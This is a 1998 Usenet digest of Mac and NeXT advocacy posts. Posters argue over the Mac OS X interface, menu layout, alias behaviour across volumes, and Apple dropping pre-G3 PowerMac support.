From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: Wed, 22 Jul 1998 11:20:16 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722111104.22438F-100000@ux8.cso.uiuc.edu>
References: <6oqr65$ept$1@supernews.com> <edremy-ya02408000R1807982049360001@nnrp.usc.edu> <6otr2r$okr$1@supernews.com> <Bjmt1.656$wW1.8475661@news.intelenet.net>
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On Wed, 22 Jul 1998, Edmond wrote:
> >> As a side note, I can do it in one with the Mac Finder and ApplWindows.
> >> Select app from pop-up menu, select window from submenu. Done. (And in
> >> my opinion, the way it should be done.)
> >
> >This is very good to know. I am glad that "access from the periphery"
> >still works for windows with Mac OS X.
> >
> Not so fast. If this control panel is from 1993 it's not PPC native, thus
> will slow down any PPC machine.
This is not necessarily true. (Wait, hear me out.)
Because much of the Mac OS is still emulated 68k code, it is not always
best to write something that modifies the Mac OS (through an extenstion or
control panel) in PPC code. Doing so can actually result in _slower_
performance.
The issue has to do with the fact that a PPC native snippet of code that
gets sandwiched between two 68k pieces of OS code forces a mode switch
from 68k->PPC code which takes time and then a mode switch back to the
emulator and 68k code. This mode switch can take a lot of time. If there
is a lot of switching that would be going on between 68k and PPC code,
then it can actually be faster overall to make it all 68k code.
Apple ran into this problem with the first versions of the Mac OS on PPC.
System 7.5.2 was the first version to include two versions of the Memory
Manager (one 68k code and the other PPC code). This was because 68k
applications (well, anything 68k that makes use of the memory manager) ran
faster with the 68k version of the Memory Manager on PPCs than with the
PPC version. PPC apps ran faster with the PPC native version.
IIRC, the Menu Manager, Window Manager, and Dialog Manager are still 68k
code (at least they will be up until Mac OS 8.5... I don't know whether
any or all of these things go native with 8.5) so this control panel would
likely result in faster performance by being 68k code. That is probably
the reason it was never made PPC native.
> Second, I doubt MacOS X will support
> system-wide support of "old" MacOS control panels.
This is most likely true.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Date: Wed, 22 Jul 1998 12:17:17 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-2207981217170001@wil79.dol.net>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com>
In article <6p50k6$b1o$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> aman@aman.com (A-Man) wrote:
> > Just to throw another idea into this thread:
> >
> > There's a meme here that the Mac UI can begin to shed the remnants of
> > previous small screen limitations. There are suggestions that various
> > NeXT UI concepts can be used since more Mac users have larger screens
> > these days. Well, that may not be true of a certain consumer portable
> > computer to be released next year.
> >
> > It may soon be more important than ever that the Mac UI functions well and
> > looks good on a 9" display...
>
> Jeez, if by next year the best they can do is release a consumer portable
> with *only* a 9" screen, they deserve what they can get. There's no excuse
> today to release anything but an XGA screen. 12" XGA screens at a minimum.
No kidding? Then I must be imagining all these new laptops with 7-10"
screens being bandied about.
Keep in mind that the new laptops are not necessarily meant to do the same
things as the "pro" laptops. They may be more like WinCE devices. Until
you know what they're trying to do with them, how can you criticize them
for a given screen size?
Oh, I forgot. Everything Apple does is wrong by default.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 12:07:12 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722120055.22438I-100000@ux8.cso.uiuc.edu>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se> <not-2107981133460001@ip-26-140.phx.primenet.com> <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se> <35b53dee.0@news.depaul.edu>
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On 22 Jul 1998, Jonathan W Hendry wrote:
> In comp.sys.next.advocacy Magnus Thoor <qwerty.x@algonet.se> wrote:
>
> > It's especially annoying since there seems to be no technical reason for
> > not delivering on their promises. Speculation: They simple want to give
> > the clones a final stab in the back and/or sell more G3's.
>
> Supporting pre-G3's would be a massive pain, and *extremely* expensive.
Balderdash. Adding support for NuBus PowerMacs might be a bigger pain, but
getting support for the first generation PCI PowerMacs would not be a
terribly big deal. Rhapsody supports these machines.
> They want to clean up the architecture, without dragging along the
> old hacks, patches, and workarounds. That would only slow down future
> OS improvements and increase costs down the road.
Oh, phaw. Somehow Rhapsody has been made to work on these machines.
Are you saying that all the work with getting Rhapsody to work on these
machines will have to be scrapped and that none of it can be leveraged
towards supporting them wiht Mac OS X? Please. That is ridiculous.
> By the time OS/X ships, the pre-G3 Macs will look pretty old. A year
> later, they'll look *really* tired. I don't think it's worthwhile
> for Apple to support hardware that will be so outdated *so* quickly.
A bunch of PowerMac 9600/350 sold just a couple weeks ago. There are still
lots of 8600/250s and 300s that are still selling. At some things, these
machines are _faster_ than the PowerMac G3s selling now. They are
certainly a lot faster and more expandable than the iMac will be.
If Apple continues with its current plan, these machines will not be
supported. If Apple supportes these machines, it is a relatively small
amount of extra work to support PCI PowerMacs that were made back in 1995.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 22 Jul 1998 17:55:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p592a$4l8$1@nnrp1.dejanews.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <6p3jbj$dm$1@nnrp1.dejanews.com> <35b559da.0@news.depaul.edu>
In article <35b559da.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> They are commands used during editing, though, and Find is often
> used during editing, too. For instance, search/replacing a bit
> of text.
I often Save and Print during editing. Why not put those under the Edit menu.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 22 Jul 1998 10:27:57 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2207981027570001@news>
References: <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721144202.19564A-100000@ux7.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980721144202.19564A-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Tue, 21 Jul 1998, Michael Schuerig wrote:
>
> > You can bet that someone will put out an extension that transparently
> > slips in Nav Services for apps that don't support them, yet.
>
> That's doubtful. Even if they get some of the look down, they will most
> likely be unable to make them non-system modal. That is the biggest flaw
> to the current Open/Save dialogs (IMO).
No, you don't understand: the current Navigation Services dialogs ARE
non--system modal! If someone can make an extension that allows current
apps to use the new dialogs, then they will work the way you desire.
> > And there is no reason to continue complaining. I don't understand what
> > you're trying to achieve that way. Or are you simply venting your bad
> > mood that it took so long?
>
> There's certainly a venting aspect.
>
> There will still be a reason to complain since support for Navigation
> Services will be spotty at best. Eventually most apps will switch over,
> but we will have to deal with the old style ones for quite a while
> yet.
So what? Now that the new Navigation Services are available, you can't
blame Apple if adoption is slow.
> I admitted that they were incremental and that I didn't have any real
> ideas for what would be a great leap. If I did know a great idea that
> would far surpass anything we have now and introduce a new way of working
> with computers, I'd be rich (or rather on my way to being rich).
>
> I would like to see something radically different and I do not think that
> familiarity and the belief that the Mac UI works well should be a barrier
> to discussion of something radically different (even if I have nothing
> specific to add to such a discussion at the moment).
I have no problem with this sort of discussion. What I do have a problem
with is the statement that since no radically-different changes have been
made to the Mac UI, the Apple UI developers must not be thinking of any new
ideas. Maybe, like you, they have thought of many incremental changes, but
have been unable to come up with a "great leap." Considering that we have
seen only one or two great UI changes in our lifetimes, I wouldn't expect
one to come up very often.
> I do believe that there are serious flaws in the Mac UI that could be
> addressed. For a few things I have ideas, others are soon to be addressed,
> and other things I don't have any idea what to do about.
And I believe that Apple is probably looking at most of these flaws as well.
> Apple started off with the Mac by introducing a revolutionary concept to
> the computer world. Instead of continuing the revolution or rekindling it
> at some point, Apple has stagnated.
Okay, here's where you and I disagree. A lack of significant change does
not equal "stagnation." Would you say that the automobile UI has
"stagnated" because all the pedals are where they used to be 50 years ago?
And do you think that during the UI planning meetings at Apple, they said,
"Hey, let's come up with another revolution!"? No, of course not. You can't
just "continue" a revolution, or "come up with" a revolutionary concept
every few years because you want to. Usually, a revolutionary concept is
discovered or recognized in a flash of insight, not developed to satisfy a
weekly status report. Rest assured, Apple has engineers thinking of these
things, and the fact that they haven't come up with a "new" revolutionary
concept is just a reflection that such concepts are difficult to think up.
> The Mac UI's improvements have not
> leapfrogged the competition.
No new revolution. See above.
> Other OSes have caught up in a lot of ways
> and I'd like to see Apple at least fix the problems in the Mac UI even if
> it has nothing revolutionary to introduce. Apple's current focus seems to
> be on slapping different faces on the same old behaviors and making things
> cluttered and ugly. I do not like the new themes that I've seen. Though I
> sure Kaleidoscope is a great product for some people, I have seen nothing
> that adds significantly to the UI. All the schemes and themes or whatever
> do is paint over what we have and sometimes doing a terrible job of it.
> Some of them are kind of pretty, but not very functional. Others are
> downright bad.
Nevertheless, having Themes in the OS addresses a need in the user
community. It is not a UI change; it is simply the ability to put a new
face on old behaviors. This is one way that other user interfaces have
caught up to (or surpassed) the current Mac OS user experience, and like it
or not, it is one of the most easily-noticeable changes to an interface. If
the Hi-Tech theme gets more people to notice the (essentially unchanged)
Mac UI, then I say keep it up. However, your belief that the appearance
changes mean fewer UI changes seems unfounded.
> > > Indeed. Now ask yourself why Apple isn't exploring these things? Why are
> > > we going to be stuck with a Mac UI that still has a lot of problems?
> >
> > Dunno. What do you think?
>
> I think Apple has lost a lot of its drive to innovate in this area.
> Apple's mishandling of Copland, a couple management changes and constant
> restructuring have not helped, but there have been fewer and fewer useful
> changes/fixes for the Mac UI. Most of what we have now is what we should
> have had 4 years ago.
Then doesn't it seem that Apple was stagnating four years ago, and is now
catching up? Don't fault Apple for when UI changes "should have been"
introduced.
Andy Bates.
From: ERASE.this.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X: will it move across volumes?
Date: Wed, 22 Jul 1998 20:04:18 +0200
Organization: Mac OS 8 Icon Update 1.0
Message-ID: <1dcksd3.wdkh1t101nhhmN@hoorn16.multiweb.net>
References: <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <JWMs1.1091$E5.6247799@proxye1.san.rr.com> <ericb-2007982116410001@128.84.203.147> <PbVs1.1389$E5.6653879@proxye1.san.rr.com>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
Ed Deans. <eadeans@san.rr.com> wrote:
> Aliases are "dumb"--not working across volumes.
>
> Eric Bennett wrote in message ...
> >What exactly do you mean by this? Aliases work across volumes and file
> >servers too.
>
>
> Unless something changed very recently if I drag the original over to a new
> volume and delete the old one (because the Mac doesn't let me move between
> volumes) the alias no longer points to the item. The problem here is
> because it depends on file ID numbers which are volume dependant. Sure if I
> create the alias on the volume that contains the original and copy the alias
> where I want it, I'm OK. Just don't move the original to another volume or
> you're sunk. :(
As you said yourself it's because Mac OS does not move across volumes.
option to copy (across volumes)
option+command to alias (across volumes)
So why is there not
command to move (across volumes) ?!?!
Why has nobody wrote this yet? Will it be there in Mac OS X?
> Aliases aren't cleaned up when all copies of original item have been
> deleted.
No, clicking them does nothing :-(
It should popup a question if you would like to point it to a new item.
(It usualy gets broken because you replaced the original with an updated
version.) So it should search for itself for items that are similar.
(Mostly another program with similar name) Like:
- "Viewer1.0" not found, reconstruct link or trash alias?
click reconstruct
- searching items similar to original...
- Choose item or search manualy, found items:
- "Viewer2.0" "Viewer2.0 manual" "3Dviewer1.7"
click "Viewer2.0".
- Search and update other aliases that point to "Viewer1.0"?
click Update
That's what you would expect from a userfriendly OS, right?
(Can somebody tell me where to tell it to Apple?)
> I'd also like to see Aliases available for use for more things than just
> file system items. URL's should always be represented as Aliases, I should
> be able to have an Alias to a location in a document (like a bookmark),
> etc., etc.
Doesn't that remind me of CyberDog? Yes, it does. They had it once
before maybe they will try to include it later again.
Dennis SCP
--
[MS Office Assistant: Uw signature is leeg. Weet u zeker dat u niets
nuttigs aan de mensheid heeft mede te delen?]
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 22 Jul 1998 18:37:47 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6p5bhr$hm1$1@lwnws01.ne.highway1.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6p50k6$b1o$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > Jeez, if by next year the best they can do is release a consumer
> > portable with *only* a 9" screen, they deserve what they can
> > get. There's no excuse today to release anything but an XGA
> > screen. 12" XGA screens at a minimum.
>
> No kidding? Then I must be imagining all these new laptops with
> 7-10" screens being bandied about.
>
> Keep in mind that the new laptops are not necessarily meant to
> do the same things as the "pro" laptops. They may be more like
> WinCE devices. Until you know what they're trying to do with
> them, how can you criticize them for a given screen size?
>
> Oh, I forgot. Everything Apple does is wrong by default.
No, just what spouts out of your moronic and biased mind; it's a
safe default assumption with you, though I imagine that might
actually vary from time to time. You are proposing that the LCD
be based on a screen designed for a glorified calcuator, calandar
device. Jeez, well what about those microwave ovens that have only
3" displays. This is rediculous. That is a different tool. Trying
to force a desktop UI on a palm-micro-type unit would be silly,
and vice-versa.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MIT's Negroponte abandons Mac
Date: 22 Jul 1998 19:19:47 GMT
Organization: Michigan State University
Message-ID: <6p5e0j$1tl$2@msunews.cl.msu.edu>
References: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com> <6p4f85$h15$1@news.tuwien.ac.at>
<6p4qqf$jvu$1@nnrp02.primenet.com> <6p4tpk$q56$1@news.tuwien.ac.at>
<6p50pt$4et$1@nnrp03.primenet.com>
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Cc: jjens@primenet.com
In <6p50pt$4et$1@nnrp03.primenet.com> John Jensen wrote:
> Alexander Wilkie <wilkie@cg.tuwien.ac.at> wrote:
>
> : Accusing someone who works at MIT of being semi-scientific is
hanging
> : one's head out quite a bit, I know[0]. What has slightly annoyed me
> : about Negroponte in the past is his inclination to ride the
publicity
> : wave associated with hype technologies slightly more than the
actual
> : scientific content would have warranted.
>
> Cool, and I'll admit that I've caught that scent of a smooth talker
near
> Dr. Negroponte myself ... he probably spends too much time talking to
> congressmen.
>
> : And he was simply wrong about Apple being out-dated technology;
Rhapsody
> : (and subsequently OS X) are amongst the most advanced environments
out
> : there. If he hasn't realised that Apple has moved on from the
Pascal
> : toolbox, he should keep quiet, and if he doesn't understand the new
> : technologies, all the worse for the guru.
>
> I think the current product generation of the Mac is based on the old
> Pascal toolbox, and the next (Carbon) as well. I haven't seen the
article
> yet, but perhaps Negroponte's frustration lies in the advanced stuff
being
> two generations out?
>
You mean cool stuff for MacOS legacy rather than MacOS X Server with
YB, WO, EOF, BlueBox, Mach, etc. in the next few months (we hope)
that will run on PPC and PC compatibles..
I personally think he is right MacOS legacy programming tools/stuff
are extremely old. And I don't think Carbon is extremely exciting
except
in a legacy code sense (which is understandably important).
Seems like the guy missed the boat on YB, Obj-C/C++, Mach, POSIX,
BSD, WO, EOF, JAVA, etc. Or maybe Apple isn't pushing the message
(sigh). All this 'save the Mac Faithful frenzy' is loosing the most
critical message about what may be the best technology on the
planet.
Apple definately has excellent technology. But what they make up
for in technology they seem to be lacking in common - business sense.
(i.e. expand markets, rather than strictly guard shrinking ones).
I will make a prediction - IF Apple continues in it's goals of a PPC
only OS - gross unit sales will continue to decline. They may
ramp up and peak on the initial iMac offering. But very quickly
they will drop off. I just can't see anyone in their right mind
buying a machine that will only take 128MB of memory.
If I wanted a machine to just surf the net, do e-mail, java, etc.
I'd get a webTV or the like for much cheaper.. I can't see
anyone using a iMac for any serious development, or graphic
work. Maybe as a game machine though ;)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 14:39:44 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722143124.12616C-100000@ux9.cso.uiuc.edu>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <id_est-2007982313050001@192.168.1.3> <35B3AFAA.16BA@earthlink.net> <6p2m3h$6q8$3@news01.deltanet.com> <Pine.SOL.3.96.980722113521.22438G-100000@ux8.cso.uiuc.edu> <joe.ragosta-2207981511200001@wil55.dol.net>
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In-Reply-To: <joe.ragosta-2207981511200001@wil55.dol.net>
On Wed, 22 Jul 1998, Joe Ragosta wrote:
> In article <Pine.SOL.3.96.980722113521.22438G-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > This is just the thing. Mac OS X drops support for machines
> > already supported by Rhapsody. Mac OS X has the same foundations (updated
> > and modified, but not as drastically different as Mac OS->Rhapsody).
>
> Don't underestimate the changes:
>
> New driver architecture
> New kernel
> New (carbon) APIs
Not (much of) an issue since it interfaces with the kernel.
> New graphics system
Not (much of) an issue since it interfaces with the kernel.
Driver support for the new graphics system would be a minor issue since
most of the Macs in question just have a dumb frame buffer anyway.
Tailored acceleration capabilities for each machine isn't an issue.
Drivers for 3rd party cards are supposed to come from the 3rd parties and
there will be tools for building those drivers available to them. Those
drivers will have to be written anyway since these devices can run in
PowerMac G3s just as easily as pre-G3 PCI PowerMacs.
> To complicate matters, the testing for Mac OS X will be much more
> complicated than the testing for Rhapsody. Rhapsody (based on its new
> name--Mac OS X Server) is designed for server apps and only needs to be
> tested on a limited number of server apps. Mac OS X (client) needs to be
> tested on hundreds or thousands of Carbonized Mac OS apps.
Since Carbon should have few specific hardware dependancies, the testing
of Carbonized apps should not be a problem. This is particularly so since
access to the hardware is restricted so that programs neither care nor
know what specific hardware they are running on.
Carbon needs to be tested on the kernel. If the kernel behaves the same
from the higher level API perspective, there should be few if any issues
with getting the higher level APIs to work. It is the kernel that needs to
be done for these machines for the upper level parts to work. Since they
are abstracted from the hardware and go through the kernel, there should
be no significant extra testing beyond simply getting the kernel to work.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 22 Jul 1998 11:49:40 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2207981149400001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com>
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In article <6p2t9m$t36$2@cronkite.cygnus.com>, jrudd@cygnus.com wrote:
> In <andyba-ya02408000R2107981148110001@news> Andy Bates wrote:
> > In article <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> > > No non-submenu invoking choices can (well should) be in the bar (root
> > > menu) even though this would be good for organizational purposes.
> >
> > Ech, no. This is not a good UI idea. If it needs to be accessed quickly,
> > make a button in the UI, or a command key shortcut.
>
> Ok, then where does "Print" belong? it's not a "File" operation..
Sure it is! I open the file, edit it, save it, and print it. It
specifically DOES belong under File.
> Same with "Quit". Currently, the Mac puts them
> under "File" as a default, not because they belong there. I'd rather see
> something sensical.
"Quit" is the only one that might not belong under File, but since it
should be the only menu item under a Program menu, and since New, Open,
Save and Print are the other most-commonly-used selections besides Quit, I
can accept putting it under the File menu.
> NeXT did it right by having the root-menu allow direct actions (like "Print",
> "Hide", and "Quit"). Perhaps putting the "Quit" in the application/finder
> menu at the upper-right corner (where "Hide" currently lives) would work.
And again: ech, no. All of the most-commonly-used functions are along the
left-hand side...except for THE most-commonly-used function, which is in a
menu on the right-hand side? Please. How much UI tesing have you done? I
think there is a strong case for putting it under File. Believe me, as much
as you have complaints about the logic of the location of Print or Quit, I
have NEVER heard users complaining about their placement.
> If you're going to have heirarchical menus, then you need to recognize that
> some operations aren't going to fit into your hierarchies/catagories,
Why? If you have an operation that doesn't fit into your categories, than
you need new categories.
Andy Bates.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 22 Jul 1998 22:02:04 GMT
Organization: University of California at San Diego
Message-ID: <slrn6rcoar.c9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net>
On Wed, 22 Jul 1998 09:51:05 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
:> Rhapsody has not been renamed "OS X Server" and it runs
:> on this equipment. Why can't "OS X end user"?
:
:Because Mac OS X client has Carbon and Mac OS X server doesn't.
:
:Or becuase the driver architecture has changed?
:
:Or because the graphics architecture has changed?
Or because the kernel has changed with a significant architectural revision?
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <slrn6rcoar.c9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Message-ID: <35b669ba.0@news.depaul.edu>
Date: 22 Jul 98 22:37:46 GMT
In comp.sys.next.advocacy Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
> On Wed, 22 Jul 1998 09:51:05 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
> :> Rhapsody has not been renamed "OS X Server" and it runs
> :> on this equipment. Why can't "OS X end user"?
> :
> :Because Mac OS X client has Carbon and Mac OS X server doesn't.
> :
> :Or becuase the driver architecture has changed?
> :
> :Or because the graphics architecture has changed?
> Or because the kernel has changed with a significant architectural revision?
Or perhaps because, while OS X Server runs on certain machines,
it may not run in a manner suitable for a consumer OS. And,
perhaps getting *that* level of support was a major pain in the
butt.
--
"... and subpoenas for all." - Ken Starr
Date: Wed, 22 Jul 1998 18:48:25 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
